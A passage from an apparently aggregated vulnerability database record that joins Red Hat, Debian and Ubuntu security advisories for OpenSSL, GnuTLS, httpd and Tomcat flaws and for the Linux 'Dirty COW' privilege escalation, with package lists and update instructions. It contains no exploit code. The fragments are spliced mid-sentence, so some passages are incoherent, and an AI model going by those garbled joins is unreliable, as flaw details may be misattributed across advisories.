6):\n\nSource:\nopenssl-1.0.1e-48.el6_8.4.src.rpm\n\nx86_64:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux HPC Node Optional (v. 6):\n\nx86_64:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-static-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 6):\n\nSource:\nopenssl-1.0.1e-48.el6_8.4.src.rpm\n\ni386:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\n\nppc64:\nopenssl-1.0.1e-48.el6_8.4.ppc.rpm\nopenssl-1.0.1e-48.el6_8.4.ppc64.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.ppc.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.ppc64.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.ppc.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.ppc64.rpm\n\ns390x:\nopenssl-1.0.1e-48.el6_8.4.s390.rpm\nopenssl-1.0.1e-48.el6_8.4.s390x.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.s390.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.s390x.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.s390.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.s390x.rpm\n\nx86_64:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 6):\n\ni386:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-static-1.0.1e-48.el6_8.4.i686.rpm\n\nppc64:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.ppc64.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.ppc64.rpm\nopenssl-static-1.0.1e-48.el6_8.4.ppc64.rpm\n\ns390x:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.s390x.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.s390x.rpm\nopenssl-static-1.0.1e-48.el6_8.4.s390x.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-static-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 6):\n\nSource:\nopenssl-1.0.1e-48.el6_8.4.src.rpm\n\ni386:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\n\nx86_64:\nopenssl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-devel-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 6):\n\ni386:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.i686.rpm\nopenssl-static-1.0.1e-48.el6_8.4.i686.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-perl-1.0.1e-48.el6_8.4.x86_64.rpm\nopenssl-static-1.0.1e-48.el6_8.4.x86_64.rpm\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssl-1.0.1e-60.el7_3.1.src.rpm\n\nx86_64:\nopenssl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-static-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssl-1.0.1e-60.el7_3.1.src.rpm\n\nx86_64:\nopenssl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-static-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssl-1.0.1e-60.el7_3.1.src.rpm\n\naarch64:\nopenssl-1.0.1e-60.el7_3.1.aarch64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.aarch64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.aarch64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.aarch64.rpm\n\nppc64:\nopenssl-1.0.1e-60.el7_3.1.ppc64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.ppc.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.ppc64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.ppc.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.ppc64.rpm\n\nppc64le:\nopenssl-1.0.1e-60.el7_3.1.ppc64le.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc64le.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.ppc64le.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.ppc64le.rpm\n\ns390x:\nopenssl-1.0.1e-60.el7_3.1.s390x.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.s390.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.s390x.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.s390.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.s390x.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.s390.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.s390x.rpm\n\nx86_64:\nopenssl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 7):\n\naarch64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.aarch64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.aarch64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.aarch64.rpm\n\nppc64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.ppc64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.ppc.rpm\nopenssl-static-1.0.1e-60.el7_3.1.ppc64.rpm\n\nppc64le:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.ppc64le.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.ppc64le.rpm\nopenssl-static-1.0.1e-60.el7_3.1.ppc64le.rpm\n\ns390x:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.s390.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.s390x.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.s390x.rpm\nopenssl-static-1.0.1e-60.el7_3.1.s390.rpm\nopenssl-static-1.0.1e-60.el7_3.1.s390x.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-static-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssl-1.0.1e-60.el7_3.1.src.rpm\n\nx86_64:\nopenssl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-devel-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-libs-1.0.1e-60.el7_3.1.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-debuginfo-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-perl-1.0.1e-60.el7_3.1.x86_64.rpm\nopenssl-static-1.0.1e-60.el7_3.1.i686.rpm\nopenssl-static-1.0.1e-60.el7_3.1.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-8610\nhttps://access.redhat.com/security/cve/CVE-2017-3731\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://www.openssl.org/news/secadv/20170126.txt\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2017 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFYqs1TXlSAg2UNWIIRAt7bAJ0ZCDFTFcNP3/qrBxA46aRJQAvxkACaA9Ak\n1zK4rWazcUYTZw5zQhD4SXA=\n=I+Z7\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. This software, such as Apache HTTP Server, is\ncommon to multiple JBoss middleware products, and is packaged under Red Hat\nJBoss Core Services to allow for faster distribution of updates, and for a\nmore consistent update experience. \n\nSecurity Fix(es):\n\n* A memory leak flaw was found in the way OpenSSL handled TLS status\nrequest extension data during session renegotiation. A remote attacker\ncould cause a TLS server using OpenSSL to consume an excessive amount of\nmemory and, possibly, exit unexpectedly after exhausting all available\nmemory, if it enabled OCSP stapling support. (CVE-2016-6304)\n\n* It was discovered that the mod_session_crypto module of httpd did not use\nany mechanisms to verify integrity of the encrypted session data stored in\nthe user\u0027s browser. (CVE-2016-0736)\n\n* It was discovered that the mod_auth_digest module of httpd did not\nproperly check for memory allocation failures. (CVE-2016-2161)\n\n* A timing attack flaw was found in OpenSSL that could allow a malicious\nuser with local access to recover ECDSA P-256 private keys. \n(CVE-2016-8610)\n\n* It was discovered that the HTTP parser in httpd incorrectly allowed\ncertain characters not permitted by the HTTP protocol specification to\nappear unencoded in HTTP request headers. If httpd was used in conjunction\nwith a proxy or backend server that interpreted those characters\ndifferently, a remote attacker could possibly use this flaw to inject data\ninto HTTP responses, resulting in proxy cache poisoning. (CVE-2016-8743)\n\n* A vulnerability was found in httpd\u0027s handling of the LimitRequestFields\ndirective in mod_http2, affecting servers with HTTP/2 enabled. (CVE-2016-8740)\n\nRed Hat would like to thank the OpenSSL project for reporting CVE-2016-6304\nand Shi Lei (Gear Team of Qihoo 360 Inc.) for reporting CVE-2016-8610. \nUpstream acknowledges Shi Lei (Gear Team of Qihoo 360 Inc.) as the original\nreporter of CVE-2016-6304. After installing the updated\npackages, the httpd daemon will be restarted automatically. Bugs fixed (https://bugzilla.redhat.com/):\n\n1377600 - CVE-2016-6304 openssl: OCSP Status Request extension unbounded memory growth\n1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS\n1401528 - CVE-2016-8740 httpd: Incomplete handling of LimitRequestFields directive in mod_http2\n1406744 - CVE-2016-0736 httpd: Padding Oracle in Apache mod_session_crypto\n1406753 - CVE-2016-2161 httpd: DoS vulnerability in mod_auth_digest\n1406822 - CVE-2016-8743 httpd: Apache HTTP Request Parsing Whitespace Defects\n1412120 - CVE-2016-7056 openssl: ECDSA P-256 timing attack key recovery\n\n6. JIRA issues fixed (https://issues.jboss.org/):\n\nJBCS-319 - Errata for httpd 2.4.23 SP1 RHEL 7\n\n7. \n\nApache Tomcat is a servlet container for the Java Servlet and JavaServer\nPages (JSP) technologies. If sendfile processing completed quickly, it was\npossible for the Processor to be added to the processor cache twice. This\ncould lead to invalid responses or information disclosure. (CVE-2017-5647)\n\n* A vulnerability was discovered in the error page mechanism in Tomcat\u0027s\nDefaultServlet implementation. A crafted HTTP request could cause undesired\nside effects, possibly including the removal or replacement of the custom\nerror page. Solution:\n\nBefore applying the update, back up your existing Red Hat JBoss Web Server\ninstallation (including all applications and configuration files). \n\nCVE-2016-8610\n\n It was discovered that no limit was imposed on alert packets during\n an SSL handshake. \n\nCVE-2017-3731\n\n Robert Swiecki discovered that the RC4-MD5 cipher when running on\n 32 bit systems could be forced into an out-of-bounds read, resulting\n in denial of service. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1.0.1t-1+deb8u6. \n\nFor the unstable distribution (sid), these problems have been fixed in\nversion 1.1.0d-1 of the openssl source package and in version 1.0.2k-1\nof the openssl1.0 source package. \n\nWe recommend that you upgrade your openssl packages. 6) - i386, x86_64\n\n3. \n\nThe following packages have been upgraded to a later upstream version:\ngnutls (2.12.23). \n(CVE-2016-8610)\n\n* Multiple flaws were found in the way gnutls processed OpenPGP\ncertificates. An attacker could create specially crafted OpenPGP\ncertificates which, when parsed by gnutls, would cause it to crash. Bugs fixed (https://bugzilla.redhat.com/):\n\n1320982 - ASSERT failure in gnutls-cli-debug\n1321112 - DHE_DSS ciphers don\u0027t work with client certificates and OpenSSL using TLSv1.2\n1323215 - gnutls-serv --http crashes with client certificates with NSS client\n1326073 - GnuTLS prefers SHA-1 signatures in TLSv1.2\n1326389 - GnuTLS server does not accept SHA-384 and SHA-512 Certificate Verify signatures despite advertising support for them\n1326886 - GnuTLS server rejects connections that do not advertise support for SHA-1 signature algorithms\n1327656 - gnutls-serv: closing connection without sending an Alert message\n1328205 - gnutls-cli won\u0027t send certificates that don\u0027t match hashes in Certificate Request\n1333521 - Provide ability to set the expected server name in gnutls-serv utility\n1335924 - gnutls: Disable TLS connections with less than 1024-bit DH parameters\n1337460 - Disable/remove export ciphersuites in GnuTLS\n1384743 - CVE-2016-8610 SSL/TLS: Malformed plain-text ALERT packets could cause remote DoS\n1411836 - CVE-2017-5337 gnutls: Heap read overflow in read-packet.c\n1412235 - CVE-2017-5335 gnutls: Out of memory while parsing crafted OpenPGP certificate\n1412236 - CVE-2017-5336 gnutls: Stack overflow in cdk_pk_get_keyid\n1415682 - Changes introduced by rebase to 2.12.23 break API and ABI compatibility for some libraries\n\n6. \n===========================================================================\nUbuntu Security Notice USN-3183-2\nMarch 20, 2017\n\ngnutls26 vulnerability\n===========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 14.04 LTS\n- Ubuntu 12.04 LTS\n\nSummary:\n\nGnuTLS could be made to hang if it received specially crafted network\ntraffic. \n\nSoftware Description:\n- gnutls26: GNU TLS library\n\nDetails:\n\nUSN-3183-1 fixed CVE-2016-8610 in GnuTLS in Ubuntu 16.04 LTS and Ubuntu\n16.10. This update provides the corresponding update for Ubuntu 12.04 LTS\nand Ubuntu 14.04 LTS. \n\nOriginal advisory details:\n\n Stefan Buehler discovered that GnuTLS incorrectly verified the serial\n length of OCSP responses. This issue only applied\n to Ubuntu 16.04 LTS. (CVE-2016-7444)\n Shi Lei discovered that GnuTLS incorrectly handled certain warning alerts. This issue has only been addressed in\n Ubuntu 16.04 LTS and Ubuntu 16.10. (CVE-2016-8610)\n It was discovered that GnuTLS incorrectly decoded X.509 certificates with a\n Proxy Certificate Information extension. This issue only affected Ubuntu 16.04 LTS\n and Ubuntu 16.10. (CVE-2017-5334)\n It was discovered that GnuTLS incorrectly handled certain OpenPGP\n certificates. (CVE-2017-5335, CVE-2017-5336, CVE-2017-5337)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 14.04 LTS:\n libgnutls26 2.12.23-12ubuntu2.7\n\nUbuntu 12.04 LTS:\n libgnutls26 2.12.14-5ubuntu3.14\n\nIn general, a standard system update will make all the necessary changes",
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VAR-201611-0386
Vulnerability from variot - Updated: 2025-12-22 23:04Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW.". Linux kernel is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to gain elevated privileges. ========================================================================== Ubuntu Security Notice USN-3106-1 October 20, 2016
linux vulnerability
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 16.04 LTS
Summary:
The system could be made to run programs as an administrator.
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 16.04 LTS: linux-image-4.4.0-45-generic 4.4.0-45.66 linux-image-4.4.0-45-generic-lpae 4.4.0-45.66 linux-image-4.4.0-45-lowlatency 4.4.0-45.66 linux-image-4.4.0-45-powerpc-e500mc 4.4.0-45.66 linux-image-4.4.0-45-powerpc-smp 4.4.0-45.66 linux-image-4.4.0-45-powerpc64-emb 4.4.0-45.66 linux-image-4.4.0-45-powerpc64-smp 4.4.0-45.66
After a standard system update you need to reboot your computer to make all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have been given a new version number, which requires you to recompile and reinstall all third party kernel modules you might have installed. Unless you manually uninstalled the standard kernel metapackages (e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual, linux-powerpc), a standard system upgrade will automatically perform this as well. 6.4) - x86_64
-
(CVE-2016-5195, Important)
-
A flaw was found in the Linux kernel's keyring handling code: the key_reject_and_link() function could be forced to free an arbitrary memory block. An attacker could use this flaw to trigger a use-after-free condition on the system, potentially allowing for privilege escalation. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
===================================================================== Red Hat Security Advisory
Synopsis: Important: kernel security update Advisory ID: RHSA-2016:2105-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-2105.html Issue date: 2016-10-25 CVE Names: CVE-2016-5195 =====================================================================
- Summary:
An update for kernel is now available for Red Hat Enterprise Linux 6.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux Desktop (v. 6) - i386, noarch, x86_64 Red Hat Enterprise Linux Desktop Optional (v. 6) - i386, x86_64 Red Hat Enterprise Linux HPC Node (v. 6) - noarch, x86_64 Red Hat Enterprise Linux HPC Node Optional (v. 6) - x86_64 Red Hat Enterprise Linux Server (v. 6) - i386, noarch, ppc64, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 6) - i386, ppc64, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 6) - i386, noarch, x86_64 Red Hat Enterprise Linux Workstation Optional (v. 6) - i386, x86_64
- An unprivileged, local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system. (CVE-2016-5195, Important)
Red Hat would like to thank Phil Oester for reporting this issue.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
1384344 - CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
- Package List:
Red Hat Enterprise Linux Desktop (v. 6):
Source: kernel-2.6.32-642.6.2.el6.src.rpm
i386: kernel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-devel-2.6.32-642.6.2.el6.i686.rpm kernel-headers-2.6.32-642.6.2.el6.i686.rpm perf-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
noarch: kernel-abi-whitelists-2.6.32-642.6.2.el6.noarch.rpm kernel-doc-2.6.32-642.6.2.el6.noarch.rpm kernel-firmware-2.6.32-642.6.2.el6.noarch.rpm
x86_64: kernel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm kernel-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-headers-2.6.32-642.6.2.el6.x86_64.rpm perf-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux Desktop Optional (v. 6):
i386: kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
x86_64: kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux HPC Node (v. 6):
Source: kernel-2.6.32-642.6.2.el6.src.rpm
noarch: kernel-abi-whitelists-2.6.32-642.6.2.el6.noarch.rpm kernel-doc-2.6.32-642.6.2.el6.noarch.rpm kernel-firmware-2.6.32-642.6.2.el6.noarch.rpm
x86_64: kernel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm kernel-devel-2.6.32-642.6.2.el6.x86_64.rpm kernel-headers-2.6.32-642.6.2.el6.x86_64.rpm perf-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux HPC Node Optional (v. 6):
x86_64: kernel-debug-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm kernel-debuginfo-common-x86_64-2.6.32-642.6.2.el6.x86_64.rpm perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm python-perf-2.6.32-642.6.2.el6.x86_64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.x86_64.rpm
Red Hat Enterprise Linux Server (v. 6):
Source: kernel-2.6.32-642.6.2.el6.src.rpm
i386: kernel-2.6.32-642.6.2.el6.i686.rpm kernel-debug-2.6.32-642.6.2.el6.i686.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debug-devel-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-2.6.32-642.6.2.el6.i686.rpm kernel-debuginfo-common-i686-2.6.32-642.6.2.el6.i686.rpm kernel-devel-2.6.32-642.6.2.el6.i686.rpm kernel-headers-2.6.32-642.6.2.el6.i686.rpm perf-2.6.32-642.6.2.el6.i686.rpm perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.i686.rpm
noarch: kernel-abi-whitelists-2.6.32-642.6.2.el6.noarch.rpm kernel-doc-2.6.32-642.6.2.el6.noarch.rpm kernel-firmware-2.6.32-642.6.2.el6.noarch.rpm
ppc64: kernel-2.6.32-642.6.2.el6.ppc64.rpm kernel-bootwrapper-2.6.32-642.6.2.el6.ppc64.rpm kernel-debug-2.6.32-642.6.2.el6.ppc64.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm kernel-debug-devel-2.6.32-642.6.2.el6.ppc64.rpm kernel-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm kernel-debuginfo-common-ppc64-2.6.32-642.6.2.el6.ppc64.rpm kernel-devel-2.6.32-642.6.2.el6.ppc64.rpm kernel-headers-2.6.32-642.6.2.el6.ppc64.rpm perf-2.6.32-642.6.2.el6.ppc64.rpm perf-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.ppc64.rpm
s390x: kernel-2.6.32-642.6.2.el6.s390x.rpm kernel-debug-2.6.32-642.6.2.el6.s390x.rpm kernel-debug-debuginfo-2.6.32-642.6.2.el6.s390x.rpm kernel-debug-devel-2.6.32-642.6.2.el6.s390x.rpm kernel-debuginfo-2.6.32-642.6.2.el6.s390x.rpm kernel-debuginfo-common-s390x-2.6.32-642.6.2.el6.s390x.rpm kernel-devel-2.6.32-642.6.2.el6.s390x.rpm kernel-headers-2.6.32-642.6.2.el6.s390x.rpm kernel-kdump-2.6.32-642.6.2.el6.s390x.rpm kernel-kdump-debuginfo-2.6.32-642.6.2.el6.s390x.rpm kernel-kdump-devel-2.6.32-642.6.2.el6.s390x.rpm perf-2.6.32-642.6.2.el6.s390x.rpm perf-debuginfo-2.6.32-642.6.2.el6.s390x.rpm python-perf-debuginfo-2.6.32-642.6.2.el6.s390x.rpm
